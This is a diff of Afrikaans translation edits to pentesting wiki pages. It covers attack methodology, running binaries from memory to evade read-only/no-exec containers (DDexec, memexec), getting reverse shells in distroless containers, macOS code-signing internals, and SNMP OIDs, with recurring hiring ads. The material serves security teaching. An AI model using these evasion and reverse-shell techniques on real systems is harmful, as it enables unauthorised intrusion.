**As jou diens nie in die indeks is nie, soek in Google** vir ander tutorials en **laat weet as jy wil hê ek moet dit byvoeg.** As jy **niks kan vind** in Google nie, voer jou **eie blinde pentesting** uit, jy kan begin deur **aan die diens te koppel, dit te fuzz en die antwoorde te lees** (indien enige).
|
**As jou diens nie in die indeks is nie, soek in Google** vir ander tutoriaal en **laat my weet as jy wil hê ek moet dit byvoeg.** As jy **niks kan vind** in Google nie, voer jou **eie blinde pentesting** uit, jy kan begin deur **aan die diens te koppel, dit te fuzz en die antwoorde te lees** (indien enige).
|
||||||
|
|
||||||
#### 5.1 Outomatiese Gereedskap
|
#### 5.1 Outomatiese Gereedskap
|
||||||
|
|
||||||
|
@ -91,7 +91,7 @@ As jy probleme met die shell het, kan jy hier 'n klein **samestelling van die nu
|
||||||
|
|
||||||
### **9 -** [**Exfiltrasie**](exfiltration.md)
|
### **9 -** [**Exfiltrasie**](exfiltration.md)
|
||||||
|
|
||||||
Jy sal waarskynlik moet **data van die slagoffer onttrek** of selfs **iets inbring** (soos privilige eskalasie skripte). **Hier het jy 'n** [**pos oor algemene gereedskap wat jy met hierdie doeleindes kan gebruik**](exfiltration.md)**.**
|
Jy sal waarskynlik moet **data uit die slagoffer onttrek** of selfs **iets inbring** (soos privilige eskalasie skripte). **Hier het jy 'n** [**pos oor algemene gereedskap wat jy met hierdie doeleindes kan gebruik**](exfiltration.md)**.**
|
||||||
|
|
||||||
### **10- Privilege Eskalasie**
|
### **10- Privilege Eskalasie**
|
||||||
|
|
||||||
|
@ -102,15 +102,15 @@ Hier kan jy 'n **gids vind om privileges plaaslik in** [**Linux**](../linux-hard
|
||||||
Jy moet ook hierdie bladsye oor hoe **Windows werk** nagaan:
|
Jy moet ook hierdie bladsye oor hoe **Windows werk** nagaan:
|
||||||
|
|
||||||
* [**Verifikasie, Akrediteer, Token privileges en UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
|
* [**Verifikasie, Akrediteer, Token privileges en UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
|
||||||
* Hoe [**NTLM werk**](../windows-hardening/ntlm/)
|
* Hoe werk [**NTLM**](../windows-hardening/ntlm/)
|
||||||
* Hoe om [**akrediteer te steel**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) in Windows
|
* Hoe om [**akrediteer te steel**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) in Windows
|
||||||
* Sommige truuks oor [_**Aktiewe Gids**_](../windows-hardening/active-directory-methodology/)
|
* Sommige truuks oor [_**Aktiewe Gids**_](../windows-hardening/active-directory-methodology/)
|
||||||
|
|
||||||
**Moet nie vergeet om die beste gereedskap te kyk om Windows en Linux plaaslike Privilege Eskalasie paaie te enumerate nie:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
**Moet nie vergeet om die beste gereedskap te kyk om Windows en Linux plaaslike Privilege Eskalasie paaie te enumereer nie:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||||
|
|
||||||
#### **10.2- Domein Privesc**
|
#### **10.2- Domein Privesc**
|
||||||
|
|
||||||
Hier kan jy 'n [**metodologie vind wat die mees algemene aksies verduidelik om te enumerate, privileges te eskaleer en volhard op 'n Aktiewe Gids**](../windows-hardening/active-directory-methodology/). Alhoewel dit net 'n subafdeling van 'n afdeling is, kan hierdie proses **uiters delikaat** wees op 'n Pentesting/Red Team opdrag.
|
Hier kan jy 'n [**metodologie vind wat die mees algemene aksies verduidelik om te enumereer, privileges te eskaleer en volharding op 'n Aktiewe Gids**](../windows-hardening/active-directory-methodology/). Alhoewel dit net 'n subafdeling van 'n afdeling is, kan hierdie proses **uiters delikaat** wees op 'n Pentesting/Red Team opdrag.
|
||||||
|
|
||||||
### 11 - POST
|
### 11 - POST
|
||||||
|
|
||||||
|
@ -129,7 +129,7 @@ TODO: Voltooi volharding Post in Windows & Linux
|
||||||
### 12 - Pivoting
|
### 12 - Pivoting
|
||||||
|
|
||||||
Met die **versamelde akrediteer** kan jy toegang tot ander masjiene hê, of dalk moet jy **nuwe hosts ontdek en skandeer** (begin die Pentesting Metodologie weer) binne nuwe netwerke waar jou slagoffer gekoppel is.\
|
Met die **versamelde akrediteer** kan jy toegang tot ander masjiene hê, of dalk moet jy **nuwe hosts ontdek en skandeer** (begin die Pentesting Metodologie weer) binne nuwe netwerke waar jou slagoffer gekoppel is.\
|
||||||
In hierdie geval kan tunneling nodig wees. Hier kan jy [**'n pos oor tunneling**](tunneling-and-port-forwarding.md) vind.\
|
In hierdie geval kan tunneling nodig wees. Hier kan jy [**'n pos oor tunneling vind**](tunneling-and-port-forwarding.md).\
|
||||||
Jy moet beslis ook die pos oor [Aktiewe Gids pentesting Metodologie](../windows-hardening/active-directory-methodology/) nagaan. Daar sal jy oulike truuks vind om lateraal te beweeg, privileges te eskaleer en akrediteer te dump.\
|
Jy moet beslis ook die pos oor [Aktiewe Gids pentesting Metodologie](../windows-hardening/active-directory-methodology/) nagaan. Daar sal jy oulike truuks vind om lateraal te beweeg, privileges te eskaleer en akrediteer te dump.\
|
||||||
Kyk ook na die bladsy oor [**NTLM**](../windows-hardening/ntlm/), dit kan baie nuttig wees om op Windows omgewings te pivot.
|
Kyk ook na die bladsy oor [**NTLM**](../windows-hardening/ntlm/), dit kan baie nuttig wees om op Windows omgewings te pivot.
|
||||||
|
|
||||||
|
@ -151,9 +151,9 @@ Kyk ook na die bladsy oor [**NTLM**](../windows-hardening/ntlm/), dit kan baie n
|
||||||
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||||
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
|
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na mense!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
|
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
|
|
@ -15,13 +15,13 @@ Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" da
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na mense!** (_vloeiende Pools geskryf en gesproke vereis_).
|
As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons huur aan!** (_vloeiende Pools geskryf en gesproke vereis_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
## Video's
|
## Videos
|
||||||
|
|
||||||
In die volgende video's kan jy die tegnieke wat op hierdie bladsy genoem word, meer in diepte verduidelik vind:
|
In die volgende video's kan jy die tegnieke wat op hierdie bladsy genoem word, meer in diepte verduidelik vind:
|
||||||
|
|
||||||
|
@ -30,7 +30,7 @@ In die volgende video's kan jy die tegnieke wat op hierdie bladsy genoem word, m
|
||||||
|
|
||||||
## read-only / no-exec scenario
|
## read-only / no-exec scenario
|
||||||
|
|
||||||
Dit is al hoe meer algemeen om linux masjiene te vind wat gemonteer is met **read-only (ro) lêerstelsel beskerming**, veral in houers. Dit is omdat dit so maklik is om 'n houer met 'n ro lêerstelsel te laat loop deur **`readOnlyRootFilesystem: true`** in die `securitycontext` in te stel:
|
Dit is al hoe meer algemeen om Linux masjiene te vind wat gemonteer is met **read-only (ro) lêerstelsel beskerming**, veral in houers. Dit is omdat dit so maklik is om 'n houer met 'n ro lêerstelsel te laat loop deur **`readOnlyRootFilesystem: true`** in die `securitycontext` in te stel:
|
||||||
|
|
||||||
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
|
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
|
||||||
kind: Pod
|
kind: Pod
|
||||||
|
@ -48,36 +48,36 @@ securityContext:
|
||||||
Tog, selfs al is die lêerstelsel as ro gemonteer, sal **`/dev/shm`** steeds skryfbaar wees, so dit is vals dat ons nie iets op die skyf kan skryf nie. Hierdie gids sal egter **gemonteer wees met no-exec beskerming**, so as jy 'n binêre hier aflaai, sal jy **nie in staat wees om dit uit te voer nie**.
|
Tog, selfs al is die lêerstelsel as ro gemonteer, sal **`/dev/shm`** steeds skryfbaar wees, so dit is vals dat ons nie iets op die skyf kan skryf nie. Hierdie gids sal egter **gemonteer wees met no-exec beskerming**, so as jy 'n binêre hier aflaai, sal jy **nie in staat wees om dit uit te voer nie**.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Van 'n rooi span perspektief maak dit **moeilik om binêre te aflaai en uit te voer** wat nie reeds in die stelsel is nie (soos agterdeure of enumerators soos `kubectl`).
|
Van 'n rooi span perspektief maak dit **dit moeilik om binêre af te laai en uit te voer** wat nie reeds in die stelsel is nie (soos agterdeure of enumerators soos `kubectl`).
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Eenvoudigste omseiling: Skripte
|
## Easiest bypass: Scripts
|
||||||
|
|
||||||
Let daarop dat ek binêre genoem het, jy kan **enige skrip uitvoer** solank die interpreter binne die masjien is, soos 'n **shell skrip** as `sh` teenwoordig is of 'n **python** **skrip** as `python` geïnstalleer is.
|
Let daarop dat ek binêre genoem het, jy kan **enige skrip uitvoer** solank die interpreter binne die masjien is, soos 'n **shell skrip** as `sh` teenwoordig is of 'n **python** **skrip** as `python` geïnstalleer is.
|
||||||
|
|
||||||
Tog is dit nie net genoeg om jou binêre agterdeur of ander binêre gereedskap wat jy mag nodig hê om te loop, uit te voer nie.
|
Tog is dit nie net genoeg om jou binêre agterdeur of ander binêre gereedskap wat jy mag nodig hê om te loop, uit te voer nie.
|
||||||
|
|
||||||
## Geheue Omseilings
|
## Memory Bypasses
|
||||||
|
|
||||||
As jy 'n binêre wil uitvoer maar die lêerstelsel dit nie toelaat nie, is die beste manier om dit te doen deur **dit uit geheue uit te voer**, aangesien die **beskermings daar nie van toepassing is nie**.
|
As jy 'n binêre wil uitvoer maar die lêerstelsel dit nie toelaat nie, is die beste manier om dit te doen deur **dit uit geheue uit te voer**, aangesien die **beskermings daar nie van toepassing is nie**.
|
||||||
|
|
||||||
### FD + exec syscall omseiling
|
### FD + exec syscall bypass
|
||||||
|
|
||||||
As jy 'n paar kragtige skrip enjin in die masjien het, soos **Python**, **Perl**, of **Ruby**, kan jy die binêre aflaai om uit geheue uit te voer, dit in 'n geheue lêer beskrywer (`create_memfd` syscall) stoor, wat nie deur daardie beskermings beskerm gaan word nie en dan 'n **`exec` syscall** aanroep wat die **fd as die lêer om uit te voer** aandui.
|
As jy 'n paar kragtige skrip enjin in die masjien het, soos **Python**, **Perl**, of **Ruby**, kan jy die binêre aflaai om uit geheue uit te voer, dit in 'n geheue lêer beskrywer (`create_memfd` syscall) stoor, wat nie deur daardie beskermings beskerm gaan word nie en dan 'n **`exec` syscall** aanroep wat die **fd as die lêer om uit te voer** aandui.
|
||||||
|
|
||||||
Vir hierdie kan jy maklik die projek [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) gebruik. Jy kan dit 'n binêre gee en dit sal 'n skrip in die aangeduide taal genereer met die **binêre gecomprimeer en b64 geënkodeer** met die instruksies om dit te **decodeer en te dekomprimeer** in 'n **fd** wat geskep is deur `create_memfd` syscall aan te roep en 'n oproep na die **exec** syscall om dit te laat loop.
|
Vir hierdie kan jy maklik die projek [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) gebruik. Jy kan dit 'n binêre gee en dit sal 'n skrip in die aangeduide taal genereer met die **binêre gecomprimeer en b64 geënkodeer** met die instruksies om dit te **dekodeer en te dekomprimeer** in 'n **fd** wat geskep is deur `create_memfd` syscall aan te roep en 'n oproep na die **exec** syscall om dit te laat loop.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Dit werk nie in ander skrip tale soos PHP of Node nie omdat hulle nie enige d**efault manier het om rou syscalls** van 'n skrip aan te roep nie, so dit is nie moontlik om `create_memfd` aan te roep om die **geheue fd** te skep om die binêre te stoor nie.
|
Dit werk nie in ander skrip tale soos PHP of Node nie omdat hulle nie enige d**efault manier het om rou syscalls** van 'n skrip aan te roep nie, so dit is nie moontlik om `create_memfd` aan te roep om die **geheue fd** te skep om die binêre te stoor nie.
|
||||||
|
|
||||||
Boonop sal die skep van 'n **regte fd** met 'n lêer in `/dev/shm` nie werk nie, aangesien jy nie toegelaat sal word om dit uit te voer nie omdat die **no-exec beskerming** van toepassing sal wees.
|
Boonop sal die skep van 'n **regte fd** met 'n lêer in `/dev/shm` nie werk nie, aangesien jy nie toegelaat sal word om dit te laat loop nie omdat die **no-exec beskerming** van toepassing sal wees.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### DDexec / EverythingExec
|
### DDexec / EverythingExec
|
||||||
|
|
||||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) is 'n tegniek wat jou toelaat om die **geheue van jou eie proses** te verander deur sy **`/proc/self/mem`** te oorskryf.
|
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) is 'n tegniek wat jou toelaat om die **geheue van jou eie proses** te modifiseer deur sy **`/proc/self/mem`** te oorskryf.
|
||||||
|
|
||||||
Daarom, **beheer die assembly kode** wat deur die proses uitgevoer word, kan jy 'n **shellcode** skryf en die proses "mutate" om **enige arbitrêre kode** uit te voer.
|
Daarom, deur **die samestelling kode** wat deur die proses uitgevoer word, te beheer, kan jy 'n **shellcode** skryf en die proses "mutate" om **enige arbitrêre kode** uit te voer.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
**DDexec / EverythingExec** sal jou toelaat om jou eie **shellcode** of **enige binêre** uit **geheue** te laai en **uit te voer**.
|
**DDexec / EverythingExec** sal jou toelaat om jou eie **shellcode** of **enige binêre** uit **geheue** te laai en **uit te voer**.
|
||||||
|
@ -94,9 +94,9 @@ For more information about this technique check the Github or:
|
||||||
|
|
||||||
### MemExec
|
### MemExec
|
||||||
|
|
||||||
[**Memexec**](https://github.com/arget13/memexec) is die natuurlike volgende stap van DDexec. Dit is 'n **DDexec shellcode demonised**, so elke keer wanneer jy 'n **ander binêre** wil **hardloop**, hoef jy nie DDexec weer te herlaai nie, jy kan net memexec shellcode via die DDexec-tegniek hardloop en dan **kommunikeer met hierdie demon om nuwe binêre te stuur om te laai en te hardloop**.
|
[**Memexec**](https://github.com/arget13/memexec) is die natuurlike volgende stap van DDexec. Dit is 'n **DDexec shellcode demonised**, so elke keer wanneer jy 'n **verskillende binêre** wil **uitvoer**, hoef jy nie DDexec weer te herlaai nie, jy kan net memexec shellcode via die DDexec tegniek uitvoer en dan **kommunikeer met hierdie demon om nuwe binêre te stuur om te laai en uit te voer**.
|
||||||
|
|
||||||
Jy kan 'n voorbeeld vind van hoe om **memexec te gebruik om binêre van 'n PHP reverse shell** uit te voer in [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
|
Jy kan 'n voorbeeld vind van hoe om **memexec te gebruik om binêre van 'n PHP reverse shell uit te voer** in [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
|
||||||
|
|
||||||
### Memdlopen
|
### Memdlopen
|
||||||
|
|
||||||
|
@ -112,29 +112,29 @@ Die doel van distroless houers is om die **aanvaloppervlak van houers te vermind
|
||||||
|
|
||||||
### Reverse Shell
|
### Reverse Shell
|
||||||
|
|
||||||
In 'n distroless houer mag jy **nie eens `sh` of `bash`** vind om 'n gewone skulp te kry nie. Jy sal ook nie binêre soos `ls`, `whoami`, `id`... vind nie, alles wat jy gewoonlik in 'n stelsel hardloop.
|
In 'n distroless houer mag jy **nie eers `sh` of `bash`** vind om 'n gewone skulp te kry nie. Jy sal ook nie binêre soos `ls`, `whoami`, `id`... vind nie, alles wat jy gewoonlik in 'n stelsel uitvoer.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Daarom, jy **sal nie** in staat wees om 'n **reverse shell** of **te enumerate** die stelsel soos jy gewoonlik doen nie.
|
Daarom, jy **sal nie** in staat wees om 'n **reverse shell** te kry of die stelsel te **enumerate** soos jy gewoonlik doen nie.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
As die gecompromitteerde houer egter byvoorbeeld 'n flask web loop, dan is python geïnstalleer, en daarom kan jy 'n **Python reverse shell** kry. As dit node loop, kan jy 'n Node rev shell kry, en dieselfde met byna enige **skriptaal**.
|
As die gecompromitteerde houer egter byvoorbeeld 'n flask web loop, dan is python geïnstalleer, en daarom kan jy 'n **Python reverse shell** kry. As dit node loop, kan jy 'n Node rev shell kry, en dieselfde met byna enige **scripting taal**.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Met die skriptaal kan jy **die stelsel enumerate** met behulp van die taal se vermoëns.
|
Met die scripting taal kan jy die stelsel **enumerate** met behulp van die taal se vermoëns.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
As daar **geen `read-only/no-exec`** beskermings is nie, kan jy jou reverse shell misbruik om **in die lêerstelsel jou binêre te skryf** en **uit te voer**.
|
As daar **geen `read-only/no-exec`** beskermings is nie, kan jy jou reverse shell misbruik om **in die lêerstelsel jou binêre te skryf** en **uit te voer**.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Echter, in hierdie tipe houers sal hierdie beskermings gewoonlik bestaan, maar jy kan die **vorige geheue-uitvoertegnieke gebruik om dit te omseil**.
|
In hierdie tipe houers sal hierdie beskermings gewoonlik bestaan, maar jy kan die **vorige geheue-uitvoertegnieke gebruik om dit te omseil**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Jy kan **voorbeelde** vind van hoe om **sommige RCE kwesbaarhede te benut** om skriptaal **reverse shells** te kry en binêre uit geheue uit te voer in [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
Jy kan **voorbeelde** vind van hoe om **sommige RCE kwesbaarhede te benut** om scripting tale **reverse shells** te kry en binêre uit geheue uit te voer in [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
As jy belangstel in 'n **hacking loopbaan** en die onhackable hack - **ons huur!** (_vloeiende Pools geskryf en gesproke vereis_).
|
As jy belangstel in 'n **hacking loopbaan** en die onhackable te hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
|
|
@ -17,9 +17,9 @@ Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" da
|
||||||
|
|
||||||
## Basic Information
|
## Basic Information
|
||||||
|
|
||||||
Mach-o binaire bevat 'n laaiopdrag genaamd **`LC_CODE_SIGNATURE`** wat die **offset** en **grootte** van die handtekeninge binne die binaire aandui. Trouens, deur die GUI-gereedskap MachOView te gebruik, is dit moontlik om aan die einde van die binaire 'n afdeling genaamd **Code Signature** met hierdie inligting te vind:
|
Mach-o binêre bevat 'n laaiopdrag genaamd **`LC_CODE_SIGNATURE`** wat die **offset** en **grootte** van die handtekeninge binne die binêre aandui. Trouens, deur die GUI-gereedskap MachOView te gebruik, is dit moontlik om aan die einde van die binêre 'n afdeling genaamd **Code Signature** met hierdie inligting te vind:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt="" width="431"><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt="" width="431"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Die magiese kop van die Code Signature is **`0xFADE0CC0`**. Dan het jy inligting soos die lengte en die aantal blobs van die superBlob wat hulle bevat.\
|
Die magiese kop van die Code Signature is **`0xFADE0CC0`**. Dan het jy inligting soos die lengte en die aantal blobs van die superBlob wat hulle bevat.\
|
||||||
Dit is moontlik om hierdie inligting in die [bronkode hier](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276) te vind:
|
Dit is moontlik om hierdie inligting in die [bronkode hier](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276) te vind:
|
||||||
|
@ -167,7 +167,7 @@ Werklik, dit is moontlik om in die Code Directory strukture 'n parameter genaamd
|
||||||
|
|
||||||
* Hash van `info.plist` (of die een binne `__TEXT.__info__plist`).
|
* Hash van `info.plist` (of die een binne `__TEXT.__info__plist`).
|
||||||
* Hash van die Vereistes
|
* Hash van die Vereistes
|
||||||
* Hash van die Hulpbron Gids (hash van `_CodeSignature/CodeResources` lêer binne die bundle).
|
* Hash van die Hulpbron Directory (hash van `_CodeSignature/CodeResources` lêer binne die bundle).
|
||||||
* Toepassing spesifiek (onbenut)
|
* Toepassing spesifiek (onbenut)
|
||||||
* Hash van die regte
|
* Hash van die regte
|
||||||
* DMG kode handtekeninge slegs
|
* DMG kode handtekeninge slegs
|
||||||
|
@ -175,7 +175,7 @@ Werklik, dit is moontlik om in die Code Directory strukture 'n parameter genaamd
|
||||||
|
|
||||||
## Code Signing Flags
|
## Code Signing Flags
|
||||||
|
|
||||||
Elke proses het 'n bitmasker wat bekend staan as die `status` wat deur die kern gestarte word en sommige daarvan kan oorgeskryf word deur die **kodehandtekening**. Hierdie vlae wat in die kodehandtekening ingesluit kan word, is [gedefinieer in die kode](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L36):
|
Elke proses het 'n bitmasker wat bekend staan as die `status` wat deur die kernel begin word en sommige daarvan kan oorgeskryf word deur die **kodehandtekening**. Hierdie vlae wat in die kodehandtekening ingesluit kan word, is [gedefinieer in die kode](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L36):
|
||||||
```c
|
```c
|
||||||
/* code signing attributes of a process */
|
/* code signing attributes of a process */
|
||||||
#define CS_VALID 0x00000001 /* dynamically valid */
|
#define CS_VALID 0x00000001 /* dynamically valid */
|
||||||
|
|
|
@ -15,9 +15,9 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na mense!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
|
As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons is op soek na personeel!** (_vloeiend in geskryf en gesproke Pools vereis_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -34,7 +34,7 @@ SNMP gebruik ook die poort **162/UDP** vir **traps**. Dit is data **pakkette wat
|
||||||
|
|
||||||
### MIB
|
### MIB
|
||||||
|
|
||||||
Om te verseker dat SNMP-toegang werk oor vervaardigers en met verskillende kliënt-bediener kombinasies, is die **Management Information Base (MIB)** geskep. MIB is 'n **onafhanklike formaat vir die stoor van toestel-inligting**. 'n MIB is 'n **teks** lêer waarin al die navraagbare **SNMP-objekte** van 'n toestel in 'n **gestandaardiseerde** boomhiërargie gelys is. Dit bevat ten minste een `Object Identifier` (`OID`), wat, benewens die nodige **unieke adres** en 'n **naam**, ook inligting verskaf oor die tipe, toegangregte, en 'n beskrywing van die onderskeie objek.\
|
Om te verseker dat SNMP-toegang oor vervaardigers en met verskillende kliënt-bediener kombinasies werk, is die **Management Information Base (MIB)** geskep. MIB is 'n **onafhanklike formaat vir die stoor van toestel-inligting**. 'n MIB is 'n **tekst** lêer waarin al die navraagbare **SNMP-objekte** van 'n toestel in 'n **gestandaardiseerde** boomhiërargie gelys word. Dit bevat ten minste een `Object Identifier` (`OID`), wat, benewens die nodige **unieke adres** en 'n **naam**, ook inligting verskaf oor die tipe, toegangregte, en 'n beskrywing van die onderskeie objek.\
|
||||||
MIB-lêers is geskryf in die `Abstract Syntax Notation One` (`ASN.1`) gebaseerde ASCII teksformaat. Die **MIBs bevat nie data nie**, maar hulle verduidelik **waar om watter inligting te vind** en hoe dit lyk, wat waardes vir die spesifieke OID teruggee, of watter datatipe gebruik word.
|
MIB-lêers is geskryf in die `Abstract Syntax Notation One` (`ASN.1`) gebaseerde ASCII teksformaat. Die **MIBs bevat nie data nie**, maar hulle verduidelik **waar om watter inligting te vind** en hoe dit lyk, wat waardes vir die spesifieke OID teruggee, of watter datatipe gebruik word.
|
||||||
|
|
||||||
### OIDs
|
### OIDs
|
||||||
|
@ -48,7 +48,7 @@ Verder word verskaffers die vryheid gegee om private takke te vestig. Binne hier
|
||||||
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
|
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
|
||||||
|
|
||||||
Jy kan **navigeer** deur 'n **OID-boom** vanaf die web hier: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) of **sien wat 'n OID beteken** (soos `1.3.6.1.2.1.1`) deur toegang te verkry tot [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
|
Jy kan **navigeer** deur 'n **OID-boom** vanaf die web hier: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) of **sien wat 'n OID beteken** (soos `1.3.6.1.2.1.1`) deur toegang te verkry tot [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
|
||||||
Daar is 'n paar **bekende OIDs** soos die wat binne [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) verwys na MIB-2 gedefinieerde Simple Network Management Protocol (SNMP) veranderlikes. En van die **OIDs wat van hierdie een hang** kan jy 'n paar interessante gasheerdata verkry (stelseldatas, netwerkdata, prosesdata...)
|
Daar is 'n paar **bekende OIDs** soos diegene binne [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) wat MIB-2 gedefinieerde Simple Network Management Protocol (SNMP) veranderlikes verwys. En van die **OIDs wat van hierdie een afhang**, kan jy 'n paar interessante gasheerdata verkry (stelseldatas, netwerkdata, prosesdata...)
|
||||||
|
|
||||||
### **OID Voorbeeld**
|
### **OID Voorbeeld**
|
||||||
|
|
||||||
|
@ -63,7 +63,7 @@ Hier is 'n ontleding van hierdie adres.
|
||||||
* 6 – dit is die dod of die Departement van Verdediging wat die organisasie is wat die Internet eerste gevestig het.
|
* 6 – dit is die dod of die Departement van Verdediging wat die organisasie is wat die Internet eerste gevestig het.
|
||||||
* 1 – dit is die waarde van die internet om aan te dui dat alle kommunikasie deur die Internet sal plaasvind.
|
* 1 – dit is die waarde van die internet om aan te dui dat alle kommunikasie deur die Internet sal plaasvind.
|
||||||
* 4 – hierdie waarde bepaal dat hierdie toestel deur 'n private organisasie gemaak is en nie 'n regeringsorganisasie nie.
|
* 4 – hierdie waarde bepaal dat hierdie toestel deur 'n private organisasie gemaak is en nie 'n regeringsorganisasie nie.
|
||||||
* 1 – hierdie waarde dui aan dat die toestel deur 'n onderneming of 'n besigheid entiteit gemaak is.
|
* 1 – hierdie waarde dui aan dat die toestel deur 'n onderneming of 'n besigheidseenheid gemaak is.
|
||||||
|
|
||||||
Hierdie eerste ses waardes is geneig om dieselfde te wees vir alle toestelle en hulle gee jou die basiese inligting oor hulle. Hierdie volgorde van nommers sal dieselfde wees vir alle OIDs, behalwe wanneer die toestel deur die regering gemaak is.
|
